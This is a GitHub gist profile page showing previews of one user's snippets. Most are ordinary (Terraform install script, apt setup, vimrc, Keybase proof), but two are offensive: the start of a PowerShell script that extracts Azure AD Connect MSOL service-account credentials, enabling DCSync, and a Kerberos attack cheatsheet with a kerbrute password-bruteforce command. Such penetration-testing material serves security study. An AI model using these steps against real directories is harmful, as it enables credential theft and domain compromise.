Skip to content

Instantly share code, notes, and snippets.

View sho-luv's full-sized avatar
🌀
In the matrix.

Leon Johnson sho-luv

🌀
In the matrix.
View GitHub Profile
@sho-luv
sho-luv / azuread_decrypt_msol_v2.ps1
Created December 16, 2021 21:59 — forked from xpn/azuread_decrypt_msol_v2.ps1
Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync
Write-Host "AD Connect Sync Credential Extract v2 (@_xpn_)"
Write-Host "`t[ Updated to support new cryptokey storage method ]`n"
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync;Initial Catalog=ADSync"
try {
$client.Open()
} catch {
Write-Host "[!] Could not connect to localdb..."
return
@sho-luv
sho-luv / kerberos_attacks_cheatsheet.md
Created December 9, 2021 14:29 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

#! /usr/bin/env bash
# download latest version of terraform:
TER_VER=`curl -s https://api.github.com/repos/hashicorp/terraform/releases/latest | grep tag_name | cut -d: -f2 | tr -d \"\,\v | awk '{$1=$1};1'`
wget https://releases.hashicorp.com/terraform/${TER_VER}/terraform_${TER_VER}_linux_amd64.zip
# unzip downloaded terraform:
unzip terraform_${TER_VER}_linux_amd64.zip
# delete zip file
#/bin/bash
# upgrade and update
sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade
# grep color
alias grep='grep --color=always'
# disable ssl for github
#git config --global http.sslVerify false
@sho-luv
sho-luv / .vimrc
Created March 18, 2020 17:42
vimrc
" Python
"au BufRead *.py compiler nose:
au FileType python set omnifunc=pythoncomplete#Complete
au FileType python setlocal expandtab shiftwidth=4 tabstop=4 smartindent cinwords=if,elif,else,for,while,try,except,finally,def,class,with
au BufRead *.py set efm=%C\ %.%#,%A\ \ File\ \"%f\"\\,\ line\ %l%.%#,%Z%[%^\ ]%\\@=%m
au FileType python set foldmethod=indent foldlevel=99
" set ruby file tabstop, shiftwidth, and:
autocmd FileType ruby setlocal et ts=2 sw=2 tw=0
### Keybase proof
I hereby claim:
* I am sho-luv on github.
* I am sho_luv (https://keybase.io/sho_luv) on keybase.
* I have a public key ASDHx4nvjV7Dn5MGGsx1A4pf4WAF1zwdIgYYd3ubp7C2wQo
To claim this, I am signing this object: